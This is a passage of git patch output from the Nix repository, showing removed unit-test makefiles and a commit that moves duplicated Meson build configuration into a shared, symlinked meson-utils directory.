-libstore-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk deleted file mode 100644 index 8d3d6b0af..000000000 --- a/tests/unit/libstore/local.mk +++ /dev/null @@ -1,38 +0,0 @@ -check: libstore-tests_RUN - -programs += libstore-tests - -libstore-tests_NAME = libnixstore-tests - -libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libstore-tests.xml - -libstore-tests_DIR := $(d) - -ifeq ($(INSTALL_UNIT_TESTS), yes) - libstore-tests_INSTALL_DIR := $(checkbindir) -else - libstore-tests_INSTALL_DIR := -endif - -libstore-tests_SOURCES := $(wildcard $(d)/*.cc) - -libstore-tests_EXTRA_INCLUDES = \ - -I tests/unit/libstore-support \ - -I tests/unit/libutil-support \ - $(INCLUDE_libstore) \ - $(INCLUDE_libstorec) \ - $(INCLUDE_libutil) \ - $(INCLUDE_libutilc) - -libstore-tests_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) - -libstore-tests_LIBS = \ - libstore-test-support libutil-test-support \ - libstore libstorec libutil libutilc - -libstore-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) - -ifdef HOST_WINDOWS - # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space - libstore-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) -endif diff --git a/tests/unit/libutil-support/.version b/tests/unit/libutil-support/.version deleted file mode 120000 index 0df9915bf..000000000 --- a/tests/unit/libutil-support/.version +++ /dev/null @@ -1 +0,0 @@ -../../../.version \ No newline at end of file diff --git a/tests/unit/libutil-support/local.mk b/tests/unit/libutil-support/local.mk deleted file mode 100644 index 5f7835c9f..000000000 --- a/tests/unit/libutil-support/local.mk +++ /dev/null @@ -1,19 +0,0 @@ -libraries += libutil-test-support - -libutil-test-support_NAME = libnixutil-test-support - -libutil-test-support_DIR := $(d) - -ifeq ($(INSTALL_UNIT_TESTS), yes) - libutil-test-support_INSTALL_DIR := $(checklibdir) -else - libutil-test-support_INSTALL_DIR := -endif - -libutil-test-support_SOURCES := $(wildcard $(d)/tests/*.cc) - -libutil-test-support_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) - -libutil-test-support_LIBS = libutil - -libutil-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libutil/.version b/tests/unit/libutil/.version deleted file mode 100644 index ad2261920..000000000 --- a/tests/unit/libutil/.version +++ /dev/null @@ -1 +0,0 @@ -2.24.0 diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk deleted file mode 100644 index 404f35cf1..000000000 --- a/tests/unit/libutil/local.mk +++ /dev/null @@ -1,37 +0,0 @@ -check: libutil-tests_RUN - -programs += libutil-tests - -libutil-tests_NAME = libnixutil-tests - -libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libutil-tests.xml - -libutil-tests_DIR := $(d) - -ifeq ($(INSTALL_UNIT_TESTS), yes) - libutil-tests_INSTALL_DIR := $(checkbindir) -else - libutil-tests_INSTALL_DIR := -endif - -libutil-tests_SOURCES := $(wildcard $(d)/*.cc) - -libutil-tests_EXTRA_INCLUDES = \ - -I tests/unit/libutil-support \ - $(INCLUDE_libutil) \ - $(INCLUDE_libutilc) - -libutil-tests_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) - -libutil-tests_LIBS = libutil-test-support libutil libutilc - -libutil-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) - -ifdef HOST_WINDOWS - # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space - libutil-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) -endif - -check: $(d)/data/git/check-data.sh.test - -$(eval $(call run-test,$(d)/data/git/check-data.sh)) From a81e319528c511affd165401c2eadf2554ff5e07 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 12:17:13 -0400 Subject: [PATCH 0944/1251] Deduplicating --- meson-utils/export/meson.build | 30 ++++++++++++++++ meson-utils/meson.build | 36 +++++++++++++++++++ src/libcmd/meson-utils | 1 + src/libexpr-c/meson-utils | 1 + src/libexpr-c/meson.build | 45 ++---------------------- src/libexpr-test-support/meson-utils | 1 + src/libexpr-test-support/meson.build | 36 ++----------------- src/libexpr-test/meson-utils | 1 + src/libexpr-test/meson.build | 15 +------- src/libexpr/meson-utils | 1 + src/libexpr/meson.build | 39 +++------------------ src/libfetchers-test/meson-utils | 1 + src/libfetchers-test/meson.build | 15 +------- src/libfetchers/meson-utils | 1 + src/libfetchers/meson.build | 38 ++++---------------- src/libflake-test/meson-utils | 1 + src/libflake-test/meson.build | 15 +------- src/libflake/meson-utils | 1 + src/libflake/meson.build | 38 +++----------------- src/libmain/meson-utils | 1 + src/libstore-c/meson-utils | 1 + src/libstore-c/meson.build | 45 ++---------------------- src/libstore-test-support/meson-utils | 1 + src/libstore-test-support/meson.build | 36 ++----------------- src/libstore-test/meson-utils | 1 + src/libstore-test/meson.build | 15 +------- src/libstore/meson-utils | 1 + src/libstore/meson.build | 37 ++------------------ src/libutil-c/meson-utils | 1 + src/libutil-c/meson.build | 45 ++---------------------- src/libutil-test-support/meson-utils | 1 + src/libutil-test-support/meson.build | 36 ++----------------- src/libutil-test/meson-utils | 1 + src/libutil-test/meson.build | 15 +------- src/libutil/meson-utils | 1 + src/libutil/meson.build | 50 ++------------------------- 36 files changed, 128 insertions(+), 476 deletions(-) create mode 100644 meson-utils/export/meson.build create mode 100644 meson-utils/meson.build create mode 120000 src/libcmd/meson-utils create mode 120000 src/libexpr-c/meson-utils create mode 120000 src/libexpr-test-support/meson-utils create mode 120000 src/libexpr-test/meson-utils create mode 120000 src/libexpr/meson-utils create mode 120000 src/libfetchers-test/meson-utils create mode 120000 src/libfetchers/meson-utils create mode 120000 src/libflake-test/meson-utils create mode 120000 src/libflake/meson-utils create mode 120000 src/libmain/meson-utils create mode 120000 src/libstore-c/meson-utils create mode 120000 src/libstore-test-support/meson-utils create mode 120000 src/libstore-test/meson-utils create mode 120000 src/libstore/meson-utils create mode 120000 src/libutil-c/meson-utils create mode 120000 src/libutil-test-support/meson-utils create mode 120000 src/libutil-test/meson-utils create mode 120000 src/libutil/meson-utils diff --git a/meson-utils/export/meson.build b/meson-utils/export/meson.build new file mode 100644 index 000000000..40f6dcd59 --- /dev/null +++ b/meson-utils/export/meson.build @@ -0,0 +1,30 @@ +requires_private = [] +foreach dep : deps_private_subproject + requires_private += dep.name() +endforeach +requires_private += deps_private + +requires_public = [] +foreach dep : deps_public_subproject + requires_public += dep.name() +endforeach +requires_public += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires_public, + requires_private : requires_private, + libraries_private : libraries_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : deps_public_subproject + deps_public, +)) diff --git a/meson-utils/meson.build b/meson-utils/meson.build new file mode 100644 index 000000000..89fbfdb36 --- /dev/null +++ b/meson-utils/meson.build @@ -0,0 +1,36 @@ +# These are private dependencies with pkg-config files. What private +# means is that the dependencies are used by the library but they are +# *not* used (e.g. `#include`-ed) in any installed header file, and only +# in regular source code (`*.cc`) or private, uninstalled headers. They +# are thus part of the *implementation* of the library, but not its +# *interface*. +# +# See `man pkg-config` for some details. +deps_private = [ ] + +# These are public dependencies with pkg-config files. Public is the +# opposite of private: these dependencies are used in installed header +# files. They are part of the interface (and implementation) of the +# library. +# +# N.B. This concept is mostly unrelated to our own concept of a public +# (stable) API, for consumption outside of the Nix repository. +# `libnixutil` is an unstable C++ library, whose public interface is +# likewise unstable. `libutilc` conversely is a hopefully-soon stable +# C library, whose public interface --- including public but not private +# dependencies --- will also likewise soon be stable. +# +# N.B. For distributions that care about "ABI" stablity and not just +# "API" stability, the private dependencies also matter as they can +# potentially affect the public ABI. +deps_public = [ ] + +# These are subproject deps (type == "internal"). They are other +# packages in `/src` in this repo. The private vs public distinction is +# the same as above. +deps_private_subproject = [ ] +deps_public_subproject = [ ] + +# These are dependencencies without pkg-config files. Ideally they are +# just private, but they may also be public (e.g. boost). +deps_other = [ ] diff --git a/src/libcmd/meson-utils b/src/libcmd/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libcmd/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libexpr-c/meson-utils b/src/libexpr-c/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libexpr-c/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index 5abf2b477..e20589484 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -14,20 +14,7 @@ project('nix-expr-c', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_private_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') configdata = configuration_data() @@ -128,32 +115,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires_private = [] -foreach dep : deps_private_subproject - requires_private += dep.name() -endforeach -requires_private += deps_private +libraries_private = [] -requires_public = [] -foreach dep : deps_public_subproject - requires_public += dep.name() -endforeach -requires_public += deps_public - -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires_public, - requires_private : requires_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : [], -)) +subdir('meson-utils/export') diff --git a/src/libexpr-test-support/meson-utils b/src/libexpr-test-support/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libexpr-test-support/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build index 5ab0661ca..15138744f 100644 --- a/src/libexpr-test-support/meson.build +++ b/src/libexpr-test-support/meson.build @@ -14,17 +14,7 @@ project('nix-expr-test-support', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -103,26 +93,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires = [] -foreach dep : deps_public_subproject - requires += dep.name() -endforeach -requires += deps_public +libraries_private = [] -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires, - requires_private : deps_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : deps_public_subproject + deps_public, -)) +subdir('meson-utils/export') diff --git a/src/libexpr-test/meson-utils b/src/libexpr-test/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libexpr-test/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build index d4b0db51f..cf6fb477c 100644 --- a/src/libexpr-test/meson.build +++ b/src/libexpr-test/meson.build @@ -14,14 +14,7 @@ project('nix-expr-test', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_private_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -117,9 +110,3 @@ this_exe = executable( ) test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_exe, - compile_args : ['-std=c++2a'], -)) diff --git a/src/libexpr/meson-utils b/src/libexpr/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libexpr/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 34e4dec3b..401ac6673 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -14,17 +14,7 @@ project('nix-expr', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') configdata = configuration_data() @@ -186,6 +176,8 @@ sources = files( 'value/context.cc', ) +include_dirs = [include_directories('.')] + headers = [config_h] + files( 'attr-path.hh', 'attr-set.hh', @@ -228,27 +220,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires = [] -foreach dep : deps_public_subproject - requires += dep.name() -endforeach -requires += deps_public +libraries_private = [] -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires, - requires_private : deps_private, - libraries_private : ['-lboost_container', '-lboost_context'], -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_directories('.'), - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : deps_public_subproject + deps_public, -)) +subdir('meson-utils/export') diff --git a/src/libfetchers-test/meson-utils b/src/libfetchers-test/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libfetchers-test/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build index be031f592..ceadaf22a 100644 --- a/src/libfetchers-test/meson.build +++ b/src/libfetchers-test/meson.build @@ -14,14 +14,7 @@ project('nix-fetchers-test', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_private_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -101,9 +94,3 @@ this_exe = executable( ) test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_exe, - compile_args : ['-std=c++2a'], -)) diff --git a/src/libfetchers/meson-utils b/src/libfetchers/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libfetchers/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index 938ee27d4..6954358af 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -14,17 +14,9 @@ project('nix-fetchers', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] +subdir('meson-utils') -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +configdata = configuration_data() foreach nix_dep : [ dependency('nix-util'), @@ -86,6 +78,8 @@ sources = files( 'tarball.cc', ) +include_dirs = [include_directories('.')] + headers = files( 'attrs.hh', 'cache.hh', @@ -109,26 +103,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires = [] -foreach dep : deps_public_subproject - requires += dep.name() -endforeach -requires += deps_public +libraries_private = [] -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires, - requires_private : deps_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_directories('.'), - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : deps_public_subproject + deps_public, -)) +subdir('meson-utils/export') diff --git a/src/libflake-test/meson-utils b/src/libflake-test/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libflake-test/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build index a9df80885..4ae532800 100644 --- a/src/libflake-test/meson.build +++ b/src/libflake-test/meson.build @@ -14,14 +14,7 @@ project('nix-flake-test', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_private_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -106,9 +99,3 @@ this_exe = executable( ) test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_exe, - compile_args : ['-std=c++2a'], -)) diff --git a/src/libflake/meson-utils b/src/libflake/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libflake/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libflake/meson.build b/src/libflake/meson.build index 1c0a3ae77..bb85543a2 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -14,17 +14,7 @@ project('nix-flake', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -78,6 +68,8 @@ sources = files( 'flake/lockfile.cc', ) +include_dirs = [include_directories('.')] + headers = files( 'flake-settings.hh', 'flake/flake.hh', @@ -95,26 +87,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires = [] -foreach dep : deps_public_subproject - requires += dep.name() -endforeach -requires += deps_public +libraries_private = [] -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires, - requires_private : deps_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_directories('.'), - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : deps_public_subproject + deps_public, -)) +subdir('meson-utils/export') diff --git a/src/libmain/meson-utils b/src/libmain/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libmain/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libstore-c/meson-utils b/src/libstore-c/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libstore-c/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index 049dda0e2..48efbae6f 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -14,20 +14,7 @@ project('nix-store-c', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_private_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') configdata = configuration_data() @@ -120,32 +107,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires_private = [] -foreach dep : deps_private_subproject - requires_private += dep.name() -endforeach -requires_private += deps_private +libraries_private = [] -requires_public = [] -foreach dep : deps_public_subproject - requires_public += dep.name() -endforeach -requires_public += deps_public - -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires_public, - requires_private : requires_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : [], -)) +subdir('meson-utils/export') diff --git a/src/libstore-test-support/meson-utils b/src/libstore-test-support/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libstore-test-support/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build index 186d9b72a..3f7104062 100644 --- a/src/libstore-test-support/meson.build +++ b/src/libstore-test-support/meson.build @@ -14,17 +14,7 @@ project('nix-store-test-support', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -105,26 +95,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires = [] -foreach dep : deps_public_subproject - requires += dep.name() -endforeach -requires += deps_public +libraries_private = [] -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires, - requires_private : deps_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : deps_public_subproject + deps_public, -)) +subdir('meson-utils/export') diff --git a/src/libstore-test/meson-utils b/src/libstore-test/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libstore-test/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index 83d3244d4..ed86a0ea9 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -14,14 +14,7 @@ project('nix-store-test', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_private_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -115,9 +108,3 @@ this_exe = executable( ) test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_exe, - compile_args : ['-std=c++2a'], -)) diff --git a/src/libstore/meson-utils b/src/libstore/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libstore/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 7277eb49d..2acd03f23 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -14,17 +14,7 @@ project('nix-store', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') configdata = configuration_data() @@ -436,27 +426,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires = [] -foreach dep : deps_public_subproject - requires += dep.name() -endforeach -requires += deps_public +libraries_private = ['-lboost_container'] -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires, - requires_private : deps_private, - libraries_private : ['-lboost_container'], -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : deps_public_subproject + deps_public, -)) +subdir('meson-utils/export') diff --git a/src/libutil-c/meson-utils b/src/libutil-c/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libutil-c/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index 7ebbe3d06..b8e25d213 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -14,20 +14,7 @@ project('nix-util-c', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_private_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') configdata = configuration_data() @@ -120,32 +107,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires_private = [] -foreach dep : deps_private_subproject - requires_private += dep.name() -endforeach -requires_private += deps_private +libraries_private = [] -requires_public = [] -foreach dep : deps_public_subproject - requires_public += dep.name() -endforeach -requires_public += deps_public - -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires_public, - requires_private : requires_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : [], -)) +subdir('meson-utils/export') diff --git a/src/libutil-test-support/meson-utils b/src/libutil-test-support/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libutil-test-support/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build index 4a8f8b54e..1dee897cb 100644 --- a/src/libutil-test-support/meson.build +++ b/src/libutil-test-support/meson.build @@ -14,17 +14,7 @@ project('nix-util-test-support', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_public = [ ] - -# See note in ../nix-util/meson.build -deps_public_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -100,26 +90,6 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires = [] -foreach dep : deps_public_subproject - requires += dep.name() -endforeach -requires += deps_public +libraries_private = [] -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : requires, - requires_private : deps_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : deps_public_subproject + deps_public, -)) +subdir('meson-utils/export') diff --git a/src/libutil-test/meson-utils b/src/libutil-test/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libutil-test/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build index c3d72b976..e91675455 100644 --- a/src/libutil-test/meson.build +++ b/src/libutil-test/meson.build @@ -14,14 +14,7 @@ project('nix-util-test', 'cpp', cxx = meson.get_compiler('cpp') -# See note in ../nix-util/meson.build -deps_private = [ ] - -# See note in ../nix-util/meson.build -deps_private_subproject = [ ] - -# See note in ../nix-util/meson.build -deps_other = [ ] +subdir('meson-utils') foreach nix_dep : [ dependency('nix-util'), @@ -115,9 +108,3 @@ this_exe = executable( ) test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_exe, - compile_args : ['-std=c++2a'], -)) diff --git a/src/libutil/meson-utils b/src/libutil/meson-utils new file mode 120000 index 000000000..41c67447e --- /dev/null +++ b/src/libutil/meson-utils @@ -0,0 +1 @@ +../../meson-utils \ No newline at end of file diff --git a/src/libutil/meson.build b/src/libutil/meson.build index c9dfee651..036a867db 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -14,36 +14,7 @@ project('nix-util', 'cpp', cxx = meson.get_compiler('cpp') -# These are private dependencies with pkg-config files. What private -# means is that the dependencies are used by the library but they are -# *not* used (e.g. `#include`-ed) in any installed header file, and only -# in regular source code (`*.cc`) or private, uninstalled headers. They -# are thus part of the *implementation* of the library, but not its -# *interface*. -# -# See `man pkg-config` for some details. -deps_private = [ ] - -# These are public dependencies with pkg-config files. Public is the -# opposite of private: these dependencies are used in installed header -# files. They are part of the interface (and implementation) of the -# library. -# -# N.B. This concept is mostly unrelated to our own concept of a public -# (stable) API, for consumption outside of the Nix repository. -# `libnixutil` is an unstable C++ library, whose public interface is -# likewise unstable. `libutilc` conversely is a hopefully-soon stable -# C library, whose public interface --- including public but not private -# dependencies --- will also likewise soon be stable. -# -# N.B. For distributions that care about "ABI" stablity and not just -# "API" stability, 